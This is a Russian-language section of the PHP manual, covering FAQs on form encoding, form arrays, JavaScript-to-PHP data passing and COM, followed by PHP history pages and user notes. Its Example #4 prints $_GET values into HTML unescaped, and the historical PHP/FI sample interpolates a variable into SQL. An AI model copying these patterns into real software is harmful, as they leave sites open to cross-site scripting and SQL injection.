Язык программирования PHP и язык гипертекстовой разметки HTML тесно взаимодействуют: PHP умеет генерировать HTML, а HTML умеет передавать информацию PHP. Перед чтением вопросов в этом разделе важно понимать, как получать переменные из внешних источников. Страницы руководства по этой теме содержат много примеров.

  1. Какое кодирование или декодирование я должен выполнять при передаче значения через форму или URL-адрес?
  2. Я пытаюсь использовать <input type="image">, но переменные $foo.x и $foo.y недоступны. Значение $_GET['foo.x'] тоже не существует. Где они?
  3. Как создать массивы в HTML <form>?
  4. Как получить все результаты из HTML-тега select с атрибутом multiple?
  5. Как передать переменную из JavaScript в PHP?
Какое кодирование или декодирование я должен выполнять при передаче значения через форму или URL-адрес?

Есть несколько этапов, на которых кодировка важна. Предположим, что у вас есть переменная $data с типом string, которая содержит строку, которую вы хотите передать без кодирования. Вот эти этапы:

  • Интерпретация HTML. Чтобы задать произвольную строку, вы должны заключить её в двойные кавычки и использовать функцию htmlspecialchars() для кодирования.

  • URL: URL-адрес состоит из нескольких частей. Если вы хотите, чтобы данные были восприняты как один элемент, нужно закодировать их функцией urlencode().

Пример #1 Скрытый элемент HTML-формы

<?php

echo '<input type="hidden" value="' . htmlspecialchars($data) . '" />'."\n";

?>

Замечание: Кодировать перменную $data функцией urlencode() неправильно, поскольку кодировать данные urlencode() это обязанность браузера. Популярные браузеры делают это правильно. Заметьте, что это произойдёт независимо от метода (например, GET или POST). Это заметно только в случае GET-запроса, поскольку POST-запросы обычно скрыты.

Пример #2 Данные, которые редактирует пользователь

<?php

echo "<textarea name='mydata'>\n";
echo htmlspecialchars($data) . "\n";
echo "</textarea>";

?>

Замечание: Браузер показывает данные как предполагалось, потому что браузер интерпретирует экранированные HTML-символы. При отправке через GET- или POST-метод браузер закодирует (urlencoded) данные для передачи, а PHP декодирует (urldecoded). Поэтому не нужно выполнять какое-либо кодирование или декодирование, всё обрабатываются автоматически.

Пример #3 В URL

<?php

echo '<a href="' . htmlspecialchars("/nextpage.php?stage=23&data=" .
urlencode($data)) . '">' . "\n"
;

?>

Замечание: На самом деле вы подделываете HTML-запрос GET, поэтому необходимо вручную закодировать (urlencode()) данные.

Замечание: Вам надо применить функцию htmlspecialchars() к полному URL-адресу, потому что URL-адрес появляется как значение HTML-атрибута. При этом браузер сначала раскодирует всё значение (операция, обратная действию функции htmlspecialchars()) и затем передаст URL. PHP поймёт URL-адрес правильно, поскольку вы закодировали данные функцией urlencode(). Вы заметите, что символ & в URL-адресе заменяется на мнемонику &amp;. Хотя большинство браузеров это исправит, если вы забудете об этом, но всё же это не всегда возможно. Поэтому, даже если ваш URL-адрес не динамический, нужно закодировать его функцией htmlspecialchars().

Я пытаюсь использовать <input type="image">, но переменные $foo.x и $foo.y недоступны. Значение $_GET['foo.x'] тоже не существует. Где они?

При отправке формы, вместо стандартной кнопки отправки допустимо использовать изображение с тэгом вроде такого:

<input type="image" src="image.gif" name="foo" />
Когда пользователь кликает по изображению, серверу будет послана сопутствующая форма с двумя дополнительными переменными: foo.x и foo.y.

Поскольку имена foo.x и foo.y не разрешены в PHP, они автоматически преобразовываются в foo_x и foo_y. То есть точки заменяются на подчёркивания. Таким образом, вы обращаетесь к этим переменным так же, как и к любым другим, описанным в разделе о получении переменных извне PHP. Например, $_GET['foo_x'].

Замечание:

Пробелы в именах переменных запроса преобразовываются в подчёркивания.

Как создать массивы в HTML <form>?

Чтобы браузер передал результат <form> в PHP-скрипт как массив, элементы <input>, <select> или <textarea> называют следующим образом:

<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyArray[]" />
Обратите внимание на квадратные скобки после имени переменной: они делают переменную массивом. Разработчику доступна группировка элементов в массив за счёт присваивания одинакового имени разным элементам:
<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyOtherArray[]" />
<input name="MyOtherArray[]" />
Это создаст два массива, MyArray и MyOtherArray, которые браузер передаст PHP-скрипту. Можно также задать конкретные ключи для массивов:
<input name="AnotherArray[]" />
<input name="AnotherArray[]" />
<input name="AnotherArray[email]" />
<input name="AnotherArray[phone]" />
Массив AnotherArray теперь будет содержать ключи 0, 1, email и phone.

Замечание:

Определять ключи массивов в HTML необязательно. Если вы не установите ключи, массив заполнится в порядке появления элементов в форме. Первый пример будет содержать ключи 0, 1, 2 и 3.

Также смотрите Функции для работы с массивами и Переменные извне PHP.

Как получить все результаты из HTML-тега select с атрибутом multiple?

HTML-тег select с атрибутом multiple разрешает пользователю выбрать элементы из списка. Эти элементы затем передаются обработчику формы. Проблема в том, что они переданы с одним и тем же именем. Например:

<select name="var" multiple="yes">
Каждая выбранная опция поступит обработчику формы как:
var=option1
var=option2
var=option3
Каждая опция будет перезаписывать содержимое предыдущей переменной $var. Решение — использовать функцию PHP «массив из элемента формы». Как в следующем примере:
<select name="var[]" multiple="yes">
Это говорит PHP рассматривать переменную $var как массив и каждое присваивание значения для var[] добавляет элемент в массив. Первым элементом будет $var[0], следующим — $var[1] и т. д. Можно использовать функцию count(), чтобы определить, сколько элементов было выбрано, а функцию sort() — для сортировки массива опций, если это необходимо.

Заметьте, если вы используете JavaScript, есть риск того, что запись [] в имени элемента вызовет проблемы, если вы пытаетесь обращаться к элементу по имени. Вместо этого указывайте числовой идентификатор элемента формы или возьмите имя переменной в одинарные кавычки и используйте его как индекс массива элементов, например:

variable = document.forms[0].elements['var[]'];

Как передать переменную из JavaScript в PHP?

Поскольку JavaScript — обычно клиентская технология, а PHP, как правило, серверная, и поскольку HTML — протокол «без состояния», эти два языка не умеют обмениваться переменными напрямую.

Однако можно передавать переменные между ними. Один из способов добиться этого — сгенерировать JavaScript-код из PHP и принудительно обновлять браузер, посылая определённые переменные обратно PHP-скрипту. Пример показывает, как это сделать — он разрешает PHP-коду захватывать высоту и ширину экрана, что обычно возможно только на стороне клиента.

Пример #4 Генерирование JavaScript из PHP

<?php

if (isset($_GET['width']) AND isset($_GET['height'])) {
// Выводим переменные с размерами
echo "Ширина экрана: " . $_GET['width'] . "<br />\n";
echo "Высота экрана: " . $_GET['height'] . "<br />\n";
} else {
// Передаём переменные с размерами
// (сохраняем оригинальную строку запроса
// — POST-переменные нужно будет передавать другим способом)

echo "<script>\n";
echo " location.href = \"{$_SERVER['SCRIPT_NAME']}?{$_SERVER['QUERY_STRING']}"
. "&width=\" + screen.width + \"&height=\" + screen.height;\n";
echo "</script>\n";
exit;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


PHP и COM

PHP может быть использован для доступа к объектам COM и DCOM на платформах Win32.

  1. Я собрал DLL для кое-каких вычислений. Можно ли запустить эту DLL из PHP?
  2. Что значит 'Unsupported variant type: xxxx (0xxxxx)'?
  3. Возможно ли манипулирование визуальными объектами в PHP?
  4. Могу ли я сохранять объект COM в сессии?
  5. Как я могу поймать ошибки COM?
  6. Можно ли генерировать DLL-файлы из PHP-скриптов так, как это можно делать в Perl?
  7. Что значит 'Unable to obtain IDispatch interface for CLSID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}'?
  8. Как можно запускать COM-объекты с удалённого сервера?
  9. Я получаю 'DCOM is disabled in C:\path...\scriptname.php on line 6', что делать?
  10. Возможно ли с помощью PHP загрузить/манипулировать объектом ActiveX на странице?
  11. Возможно ли получить выполняющийся экземпляр компонента?
  12. Есть ли способ обработать событие, посланное объектом COM?
  13. У меня возникают проблемы при попытке вызвать метод объекта COM, который предоставляет более чем один интерфейс. Что я могу сделать?
  14. Значит PHP работает с COM, как насчёт COM+?
  15. Если PHP может манипулировать COM-объектами, можно ли представить себе использование MTS для управления ресурсами компонентов в соединении с PHP?
Я собрал DLL для кое-каких вычислений. Можно ли запустить эту DLL из PHP?

Если это простая DLL, то пока ещё нет возможности вызвать её из PHP. Если DLL содержит COM-сервер, то вы можете получить доступ к ней, если она реализует интерфейс IDispatch.

Что значит 'Unsupported variant type: xxxx (0xxxxx)'?

Существуют дюжины типов VARIANT и их комбинаций. Большинство из них уже поддерживаются, но несколько всё ещё не реализованы. Массивы поддерживаются не полностью. Только одномерные индексированные массивы могут передаваться между PHP и COM. Если вы обнаружите неподдерживаемые типы, пожалуйста, сообщите о них как об ошибке (если это ещё не сделано) и предоставьте всю доступную информацию.

Возможно ли манипулирование визуальными объектами в PHP?

В общем да, но так как PHP в основном используется как скриптовый язык для веба и выполняется в контексте веб-сервера, то визуальные объекты никогда не появятся на рабочем столе сервера. Если вы используете PHP как скрипт для приложений, например в связке с PHP-GTK, тогда нет ограничений на доступ и манипулирование визуальными объектами через COM.

Могу ли я сохранять объект COM в сессии?

Нет, не можете. Так как экземпляры COM рассматриваются как ресурсы, то они доступны только в контексте одного скрипта.

Как я могу поймать ошибки COM?

Модуль COM выбрасывает исключение com_exception, которое вы можете перехватить и затем проверить у него поле code, чтобы понять, что делать дальше.

Можно ли генерировать DLL-файлы из PHP-скриптов так, как это можно делать в Perl?

Нет, к сожалению такое средство недоступно для PHP.

Что значит 'Unable to obtain IDispatch interface for CLSID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}'?

Эта ошибка может возникнуть по разным причинам:

  • неправильный CLSID
  • отсутствует запрошенная DLL
  • запрошенный компонент не реализует интерфейс IDispatch

Как можно запускать COM-объекты с удалённого сервера?

Точно так же как вы запускаете локальные объекты. Вам только надо передать IP удалённой машины как второй параметр конструктора COM.

Убедитесь, что в вашем php.ini вы установили com.allow_dcom =true

Я получаю 'DCOM is disabled in C:\path...\scriptname.php on line 6', что делать?

Отредактируйте ваш php.ini и установите com.allow_dcom =true.

Возможно ли с помощью PHP загрузить/манипулировать объектом ActiveX на странице?

PHP здесь не причём. Объекты ActiveX загружаются на стороне клиента, если они были запрошены из HTML документа. Связи с PHP-скриптом здесь нет и, следовательно, прямое взаимодействие с серверной стороной невозможно.

Возможно ли получить выполняющийся экземпляр компонента?

Это возможно с помощью моникеров (monikers). Если вы хотите получить несколько ссылок на один и тот же экземпляр Word, вы можете создать этот экземпляр как показано:

<?php
$word = new COM("C:\docs\word.doc");
?>

Это создаст новый экземпляр, если нет доступного выполняющегося экземпляра или будет возвращена ссылка на выполняющийся экземпляр, если такой доступен.

Есть ли способ обработать событие, посланное объектом COM?

Используя com_event_sink() вы можете определить приёмник события и привязать его. Вы можете заставить PHP сгенерировать скелет класса приёмника событий, используя com_print_typeinfo().

У меня возникают проблемы при попытке вызвать метод объекта COM, который предоставляет более чем один интерфейс. Что я могу сделать?

Ответ так же прост, как и неудовлетворителен. Не знаю точно, но думаю, что вы не можете ничего сделать. Если у кого-то есть точная информация по этому вопросу, пожалуйста, дайте » мне знать :)

Значит PHP работает с COM, как насчёт COM+?

COM+ расширяет COM, предоставляя систему для управления компонентами через MTS и MSMQ, но здесь нет ничего особенного, что PHP должен поддерживать для использования таких компонент.

Если PHP может манипулировать COM-объектами, можно ли представить себе использование MTS для управления ресурсами компонентов в соединении с PHP?

Сам PHP ещё не обрабатывает транзакции. Таким образом, если возникает ошибка, откат не инициируется. Если вы используете компоненты, поддерживающие транзакции, вам будет необходимо реализовать управление транзакциями самим.

User Contributed Notes

codeslinger at compsalot dot com 27-Jan-2007 05:18
in response to item #1 above:  "If this is a simple DLL there is no way yet to run it from PHP."

Answer: There are several different packages/add-ons to php that enable low level access to the windows api. One of the most popular of these packages is available at http://www.winbinder.org

Winbinder does have the ability to load a dll and call it's functions.  Winbinder also provides a large set of windows apis for creating windows and controls.  This is useful for creating stand-alone desktop apps.  It is a possible alternative to php-gtk.

I've had mixed results with Winbinder, some things work very well, others are buggy; source code is available.  It's worth a look, Evaluate carefully.
17-Jul-2005 04:56
Re: The Windows English CHM Sample with MS Word Automation.

I see that $Word->Release() is called after $Word->Quit().
This seems to be erroneous. Actually, $Word->Release() should not have to be called if proper COM garbage collection is taking place. Release() is a C++ construction not used in either Visual Basic or VBScript or even MS-JScript. Just to be sure, however, I ran the sample through php.exe (5.04 CLI on Windows XP SP1 with Office 2003) and got a RPC failed error on the line containing $Word->Release(). The rest of the sample works fine, and the results are as expected. So, I propose 2 scenarios:
      1.There is a problem with the documentation (more likely).
      2.There is a problem with PHP504 itself, as this problem is reproduced with any COM Automation call, not just Word.
junk.ghost@virgin dOtt net 05-Oct-2004 09:27
It may be obvious to everyone else but...

If you want to write your own COM DLL in MSVC++6 and you want to pass it a string, you need the following in your .idl file:

HRESULT function_name([in] BSTR parameter_name,
                      [retval, out] BSTR * retval);

retval is the result of your function as a string to be passed back.

BSTR is an unsigned short *, so if you want to use your string with STL string etc. you may need to convert parameters to and from char *.

The burden of my message is that from PHP

$comThing = new COM("comThing.comThing");
print $comThing->function_name("Jeremy");

Jeremy will be marshalled as wide chars, which match BSTR.


Разные вопросы

Некоторые вопросы могут не подходить для других категорий. Вы можете найти их здесь.

  1. Как обращаться со сжатыми bz2 руководствами под Windows?
Как обращаться со сжатыми bz2 руководствами под Windows?

Если у вас нет архиватора для работы с файлами bz2, то » скачайте утилиту для командной строки от Redhat (пожалуйста, ищите подробности ниже).

Если вы не хотите использовать утилиту командной строки, вы можете попробовать бесплатные средства, такие как » Stuffit Expander, » UltimateZip, » 7-Zip или » Quick Zip. Если у вас есть такие утилиты как » WinRAR или » Power Archiver, то с их помощью вы можете легко распаковать файлы bz2. Если вы пользуетесь Total Commander (бывший Windows Commander), подключаемый модуль bz2 для этой программы доступен бесплатно с сайта » Total Commander.

Утилита командной строки bzip2 от Redhat:

Пользователи Win2K Sp2 должны взять последнюю версию 1.0.2, пользователи всех других Windows должны взять версию 1.00. После загрузки переименуйте исполняемый файл в bzip2.exe. Для удобства положите его в директорию в вашем пути, например C:\Windows, где C соответствует диску, на котором установлен ваш Windows.

Замечание: lang обозначает ваш язык и x - желаемый формат, например pdf. Чтобы распаковать php_manual_lang.x.bz2, следуйте этим простым инструкциям:

  • откройте окно c командной строкой (command prompt)
  • перейдите в директорию (команда cd), куда вы сохранили скачанный php_manual_lang.x.bz2
  • вызовите bzip2 -d php_manual_lang.x.bz2 для извлечения php_manual_lang.x в ту же директорию

В случае, если вы скачали php_manual_lang.tar.bz2, содержащий множество html файлов, процедура точно такая же. Единственное отличие заключается в том, что вы получили файл php_manual_lang.tar. Известно, что формат tar обрабатывается большинством распространённых архиваторов под Windows, например такими как » WinZip.

User Contributed Notes

There are no user contributed notes for this page.


Приложения

  • История PHP и смежных проектов
    • История PHP
    • История смежных с PHP проектов
    • Книги о PHP
    • Публикации, посвящённые PHP
  • Миграция с PHP 8.2.x на PHP 8.3.x
    • Новая функциональность
    • Новые классы и интерфейсы
    • Новые функции
    • Новые глобальные константы
    • Изменения, ломающие обратную совместимость
    • Устаревшая функциональность
    • Другие изменения
    • Поддержка Windows
  • Миграция с PHP 8.1.x на PHP 8.2.x
    • Новая функциональность
    • Новые функции
    • Новые глобальные константы
    • Изменения, ломающие обратную совместимость
    • Устаревшая функциональность
    • Другие изменения
    • Поддержка Windows
  • Миграция с PHP 8.0.x на PHP 8.1.x
    • Новая функциональность
    • Новые классы и интерфейсы
    • Новые функции
    • Новые глобальные константы
    • Изменения, ломающие обратную совместимость
    • Устаревшая функциональность
    • Другие изменения
  • Миграция с PHP 7.4.x на PHP 8.0.x
    • Новая функциональность
    • Изменения, которые ломают обратную совместимость
    • Функциональность, объявленная устаревшей в PHP 8.0.x
    • Другие изменения
  • Миграция с PHP 7.3.x на PHP 7.4.x
    • Новые возможности
    • Новые классы и интерфейсы
    • Новые функции
    • Новые глобальные константы
    • Изменения, ломающие обратную совместимость
    • Устаревшая функциональность
    • Удалённые модули
    • Другие изменения
    • Поддержка Windows
  • Миграция с PHP 7.2.x на PHP 7.3.x
    • Новые возможности
    • Новые функции
    • Новые глобальные константы
    • Изменения, ломающие обратную совместимость
    • Функционал, объявленный устаревшим в PHP 7.3.x
    • Прочие изменения
    • Поддержка Windows
  • Миграция с PHP 7.1.x на PHP 7.2.x
    • Новые возможности
    • Новые функции
    • Новые глобальные константы
    • Изменения, ломающие обратную совместимость
    • Функционал, объявленный устаревшим в PHP 7.2.x
    • Прочие изменения
  • Миграция с PHP 7.0.x на PHP 7.1.x
    • Новые возможности
    • Новые функции
    • Новые глобальные константы
    • Изменения, ломающие обратную совместимость
    • Функционал, объявленный устаревшим в PHP 7.1.x
    • Изменённые функции
    • Прочие изменения
    • Поддержка Windows
  • Миграция с PHP 5.6.x на PHP 7.0.x
    • Изменения, ломающие обратную совместимость
    • Новая функциональность
    • Функциональность, объявленная устаревшей в PHP 7.0.x
    • Изменённые функции
    • Новые функции
    • Новые классы и интерфейсы
    • Новые глобальные константы
    • Изменения в модулях SAPI
    • Удалённые модули и SAPI
    • Другие изменения
  • Миграция с PHP 5.5.x на PHP 5.6.x
    • Изменения, ломающие обратную совместимость
    • Новые возможности
    • Функционал, объявленный устаревшим в PHP 5.6.x
    • Изменённые функции
    • Новые функции
    • Изменения OpenSSL в PHP 5.6.x
    • Другие изменения в модулях
    • Новые глобальные константы
  • Отладка в PHP
    • Об отладке в PHP
  • Опции конфигурации
    • Список основных опций конфигурации
  • Директивы php.ini
    • Список директив php.ini
    • Список разделов php.ini
    • Описание встроенных директив php.ini
  • Список и классификация модулей
    • В алфавитном порядке
    • По составу
    • По состоянию
  • Список псевдонимов функций
  • Список зарезервированных слов
    • Список ключевых слов
    • Предопределённые классы
    • Предопределённые константы
    • Список прочих зарезервированных слов
  • Список типов ресурсов
  • Список доступных фильтров
    • Строковые фильтры
    • Преобразовывающие фильтры
    • Компрессионные фильтры
    • Шифрующие фильтры
  • Список поддерживаемых транспортных протоколов
    • Интернет-сокеты: TCP, UDP, SSL и TLS
    • Unix-сокеты: UNIX и UDG
  • Таблицы сравнения типов PHP
  • Список меток (tokens) парсера
  • Руководство по именованию
    • Глобальное пространство имён
    • Правила
    • Советы
  • Об этом руководстве
    • Форматы
    • О заметках пользователей
    • Как читать определения функции (прототип)
    • Версии PHP, документированные в этом руководстве
    • Как узнать больше о PHP
    • Как помочь в написании документации
    • Как создаются форматы документации
    • Переводы
  • Creative Commons Attribution 3.0
  • Алфавитный список
    • Список функций и методов
    • Список примеров
  • Список изменений

User Contributed Notes

There are no user contributed notes for this page.


История PHP и смежных проектов

Содержание

  • История PHP
  • История смежных с PHP проектов
  • Книги о PHP
  • Публикации, посвящённые PHP

PHP прошёл длинный путь со дня своего рождения в середине 1990-х. От скромного появления до становления одним из самых популярных языков веб-программирования - эволюция PHP словно IT-сказка. Эта небольшая статья для тех из вас, кому интересно как развивался PHP. Если вы хотите прикоснуться к кусочку Интернет истории, то вы можете найти старые релизы PHP в » Музее PHP.

User Contributed Notes

okhalelawrence at gmail dot com 07-Aug-2021 06:12
The Birth of PHP 6;

After Version 5: PHP received mixed reviews due to lacking native Unicode support at the core language level. In 2005, a project headed by Andrei Zmievski was initiated to bring native Unicode support throughout PHP, by embedding the International Components for Unicode (ICU) library, and representing text strings as UTF-16 internally. Since this would cause major changes both to the internals of the language and to user code, it was planned to release this as version 6.0 of the language, along with other major features then in development.

The Birth of PHP 7;

During 2014 and 2015, a new major PHP version was developed, PHP 7. The numbering of this version involved some debate among internal developers.While the PHP 6 Unicode experiment had never been released, several articles and book titles referenced the PHP 6 name, which might have caused confusion if a new release were to reuse the name. After a vote, the name PHP 7 was chosen.

The foundation of PHP 7 is a PHP branch that was originally dubbed PHP next generation (phpng). It was authored by Dmitry Stogov, Xinchen Hui and Nikita Popov, and aimed to optimize PHP performance by refactoring the Zend Engine while retaining near-complete language compatibility. By 14 July 2014, WordPress-based benchmarks, which served as the main benchmark suite for the phpng project, showed an almost 100% increase in performance. Changes from phpng make it easier to improve performance in future versions, as more compact data structures and other changes are seen as better suited for a successful migration to a just-in-time (JIT) compiler. Because of the significant changes, the reworked Zend Engine was called Zend Engine 3, succeeding Zend Engine 2 used in PHP 5.

Because of the major internal changes in phpng, it must receive a new major version number of PHP, rather than a minor PHP 5 release, according to PHP's release process. Major versions of PHP are allowed to break backward-compatibility of code and therefore PHP 7 presented an opportunity for other improvements beyond phpng that require backward-compatibility breaks.

The Birth of PHP 8;

PHP 8 was released on November 26, 2020. PHP 8 is a major version and has breaking changes from previous versions.New features and notable changes include:
Just-in-time compilation
Just-in-time compilation is supported in PHP 8.
PHP 8's JIT compiler can provide substantial performance improvements for some use cases.PHP developer Nikita Popov has stated that the performance improvements for most websites will be less substantial than the upgrade from PHP 5 to PHP 7.Performance improvements due to the addition of the JIT compiler are expected to be more substantial for mathematical-type operations than for common web-development use cases.Additionally, the JIT compiler provides future potential to move some code from C to PHP, due to the performance improvements for some use cases.
Addition of the match expression
Main article: PHP syntax and semantics § Match
PHP 8 introduced the match expression.The match expression is conceptually similar to a switch statement and is more compact for some use cases.Because match is an expression, its result can be caught into a variable or returned from a function.
Type changes and additions
PHP 8 introduced union types, a new static return type, and a new mixed type.
"Attributes", often referred to as "annotations" in other programming languages, were added in PHP 8, which allow metadata to be added to classes.
throw was changed from being a statement to being an expression. This allows exceptions to be thrown in places that were not previously possible. Sorce: wikipedia


История PHP

PHP Tools, FI, Construction Kit и PHP/FI

PHP, как всем известно, на самом деле преемник продукта под названием PHP/FI. Созданное в 1994 году Расмусом Лердорфом, самое первое воплощение PHP было простым набором CGI-скриптов, написанных на языке программирования Си. Изначально используя их для отслеживания посещений своего веб-резюме, он назвал этот набор скриптов "Personal Homepages Tools" ("Инструменты для персональных домашних страниц"), но более часто упоминалось название "PHP Tools". Со временем требовалось все больше улучшений функциональности, и Расмус переписал PHP Tools, создав более крупную и богатую реализацию. Эта новая реализация была способна взаимодействовать с базами данных и многое другое, что создавало фреймворк, с помощью которого пользователи могли создавать простые динамические веб-приложения, такие как гостевые книги. В июне 1995 года Расмус » открыл исходный код PHP Tools общественности, что позволило разработчикам использовать его по своему усмотрению. Это также дало возможность пользователям исправлять ошибки в коде и улучшать его.

В сентябре того же года, Расмус расширил PHP и на короткое время убрал из названия PHP. Теперь в виде инструмента FI (сокращение от "Интерпретатор Форм"), новая реализация включала в себя некоторые основные функциональные возможности того PHP, который мы знаем сегодня. Она имела Perl-подобные переменные, автоматическую интерпретацию форм и встраиваемый в HTML синтаксис. Синтаксис языка был похож на Perl, хотя и был гораздо более ограниченным, простым, и в некоторой степени противоречивым. Для того, чтобы вставлять код в HTML-файл, разработчикам пришлось использовать HTML комментарии. Хотя этот метод был не совсем хорошо принят, FI по-прежнему набирал популярность в качестве CGI-инструмента, но всё-таки не в качестве языка. Однако, перемены начались в следующем месяце, когда в октябре 1995 года Расмус выпустил полностью переписанный код. С вернувшимся именем PHP, но уже сокращённым от "Personal Home Page Construction Kit", это был первый релиз, который мог похвастаться расширенным интерфейсом сценариев. Язык намеренно напоминал Си по структуре, что делал его лёгким для восприятия разработчиками, знакомыми с Си, Perl и подобными языками. Будучи всё ещё ограниченными UNIX и POSIX-совместимыми системами, был изучен вопрос для реализации языка в Windows NT.

Код получил ещё одно существенное преобразование в апреле 1996 года. Объединив названия предыдущих версий, Расмус представил PHP/FI. Реализации второго поколения начали по-настоящему развивать PHP из набора инструментов в самостоятельный язык программирования. PHP включал в себя встроенную поддержку для DBM, mSQL и Postgres95 баз данных, cookies, поддержку определяемых пользователем функций и многое другое. В июне PHP/FI была присвоена версия 2.0. Интересно, однако, что существовала только одна версия PHP 2.0. Когда она, наконец, в ноябре 1997 года преодолела статус бета-версии, парсер языка был уже полностью переписан.

Несмотря на короткую историю разработки, PHP/FI продолжал набирать популярность в молодом мире веб-разработки. В 1997 и 1998, PHP/FI стал культом для нескольких тысяч пользователей по всему миру. Исследования Netcraft в мае 1998 года показали, что почти 60 тысяч доменов передавали заголовки, содержащие "PHP". Это число равнялось примерно 1% от всех доменов в Интернете в то время. Несмотря на эти впечатляющие цифры, развитие PHP/FI было ограничено: несмотря на нескольких второстепенных участников, в целом он по-прежнему разрабатывался одним человеком.

Пример #1 Пример кода на PHP/FI

<!--include /text/header.html-->

<!--getenv HTTP_USER_AGENT-->
<!--ifsubstr $exec_result Mozilla-->
  Эй, у вас Нетскейп!<p>
<!--endif-->

<!--sql database select * from table where user='$username'-->
<!--ifless $numentries 1-->
  Извините, такой записи нет<p>
<!--endif exit-->
  Добро пожаловать, <!--$user-->!<p>
  На вашем счету осталось <!--$index:0--> "кредитов".<p>

<!--include /text/footer.html-->

PHP 3

PHP 3.0 был первой версией, напоминающей PHP, каким мы знаем его сегодня. Посчитав PHP/FI 2.0 всё ещё неэффективным и недостаточно функциональным для использования в коммерческих приложениях, разрабатываемых для их университетского проекта, Энди Гутманс и Зив Сураски из Тель-Авива начали ещё раз заново переписывать парсер в 1997 году. Связавшись с Расмусом, они обсудили различные аспекты текущей реализации и их новой разработки PHP. Для улучшения движка и использования уже существующей базы пользователей PHP/FI, Энди, Расмус и Зив решили сотрудничать в развитии нового, независимого языка программирования. Этот совершенно новый язык был выпущен под новым именем, без упоминания о персональном использовании, как в PHP/FI 2.0. Он был назван просто "PHP" - аббревиатура, означающая рекурсивный акроним - PHP: Hypertext Preprocessor.

Одной из сильнейших сторон PHP 3.0 была возможность расширения ядра. Кроме обеспечения пользователей надёжной инфраструктурой из множества различных баз данных, протоколов и API, расширяемость PHP 3.0 привлекла к нему множество сторонних разработчиков, желающих добавить к языку свои модули. Возможно, это и был главный ключ к успеху, но стоит добавить, что немаловажным шагом оказалась поддержка ООП синтаксиса и намного более мощного и последовательного синтаксиса самого языка.

В июне 1998 года, со множеством новых разработчиков со всего мира присоединившихся к проекту, PHP 3.0 был представлен новой командой разработчиков, как официальный преемник PHP/FI. Активное развитие PHP/FI 2.0, фактически прекратившееся в ноябре прошлого года, теперь официально закончилось. Примерно через девять месяцев открытого публичного тестирования, при объявлении официального выпуска PHP 3.0, он уже был установлен на более чем 70000 доменах по всему миру, и уже не ограничивается POSIX-совместимыми операционными системами. Относительно небольшая доля доменов с установленным PHP была размещена на серверах под управлением Windows 95, 98 и NT, а также Macintosh. На пике своего развития, PHP 3.0 был установлен приблизительно на 10% веб-серверов в Интернете.

PHP 4

К зиме 1998 года, практически сразу после официального выхода PHP 3.0, Энди Гутманс и Зив Сураски начали переработку ядра PHP. В задачи входило увеличение производительности сложных приложений и улучшение модульности кодовой базы PHP. PHP 3.0 дал возможность подобным приложениям успешно работать с набором баз данных и поддерживать большое количество различных API и протоколов, но PHP 3.0 не имел качественной поддержки модулей и приложения работали неэффективно.

Новый движок, названный 'Zend Engine' (от имён создателей: Zeev и Andi), успешно справлялся с поставленными задачами и впервые был представлен в середине 1999 года. PHP 4.0, основанный на этом движке и принёсший с собой набор дополнительных функций, официально вышел в мае 2000 года, почти через два года после выхода своего предшественника. Кроме значительного улучшения производительности, PHP 4.0 имел ещё несколько ключевых нововведений, таких как поддержка намного большего числа веб-серверов, поддержка HTTP сессий, буферизация вывода, более безопасные способы обработки вводимой пользователем информации и несколько новых языковых конструкций.

PHP 5

После долгой разработки и нескольких пре-релизов в июле 2004 был выпущен PHP 5. В основном он управляется ядром Zend Engine 2.0 с новой объектной моделью и множеством различных других нововведений.

Команда разработчиков PHP включает в себя десятки разработчиков, а также десятки других организаций, работающих над связанными с PHP и его поддержкой проектами, такими как PEAR, PECL и документацией, а также базовую инфраструктуру сети более чем из ста серверов на шести из семи континентах мира. Основываясь на статистике прошлых лет, можно с уверенностью предположить, что PHP теперь установлен на десятки или даже, возможно, сотни миллионов доменов по всему миру.

User Contributed Notes

There are no user contributed notes for this page.


История смежных с PHP проектов

PEAR

» PEAR (PHP Extension and Application Repository - Репозиторий Приложений и Модулей PHP. Изначально, PHP Extension and Add-on Repository - Репозиторий Дополнений и Модулей PHP) - это PHP-версия базовых классов. В будущем возможен его рост и становление ключевым способом публикации модулей PHP среди разработчиков.

PEAR зародился в ходе дискуссий на встрече разработчиков PHP (PHP Developers' Meeting - PDM), проходившей в январе 2000 года в Тель-Авиве. Автором PEAR является Стиг С. Баккен (Stig S. Bakken), который посвятил разработку своей первой дочери, Мэлин Баккен (Malin Bakken).

С начала 2000 года PEAR вырос до огромного проекта с большим количеством разработчиков, работающих над реализацией общего и повторно используемого функционала на благо для всего сообщества PHP. В настоящее время PEAR включает в себя широкий спектр классов для работы с базами данных, кеширования контента, математических вычислений, электронной коммерции и многого другого.

Дополнительная информация о PEAR может быть найдена в » документации.

Инициатива Гарантии Качества PHP

Группа » Инициативы Гарантии Качества PHP была основана весной 2000 в ответ на критику недостаточного бета-тестирования PHP для производственных окружений. Сейчас эта группа состоит из людей, прекрасно понимающих основу кода PHP. Эти разработчики тратят множество времени на обнаружение и устранение ошибок в PHP. Кроме того, много других членов команды тестируют эти исправления и сообщают о результатах их работы на различных платформах.

PHP-GTK

» PHP-GTK является модулем PHP для написания GUI-приложений, работающих на стороне клиента. Андрей Змиевски (Andrei Zmievski) вспоминает процесс планирования и разработки PHP-GTK:

Я всегда интересовался GUI-программированием, и я нахожу Gtk+ очень приятным средством разработки, исключая то, что работать с ним на C немного утомительно. После просмотра PyGtk и GTK-Perl, я решил попробовать написать интерфейс PHP для работы с Gtk+, пусть с минимальными возможностями. Начиная с августа 2000 года, у меня появилось немного больше свободного времени и я начал эксперименты. В разработке я основывался на PyGtk, который обладает большим количеством возможностей и приятным объектно-ориентированным интерфейсом. Джеймс Хэнстридж (James Henstridge), автор PyGtk, давал очень полезные советы в течение первых этапов разработки.

Написание вручную интерфейсов ко всем функциям Gtk+ даже не рассматривалось. Я остановился на идее генератора кода, похожего на аналогичный генератор PyGtk. Генератор читает .defs файлы, содержащие информацию о классах, константах и методах Gtk+ и генерирует C-код, являющийся интерфейсом в PHP. То, что не могло быть сгенерировано автоматически, создаётся вручную в .overrides файлах.

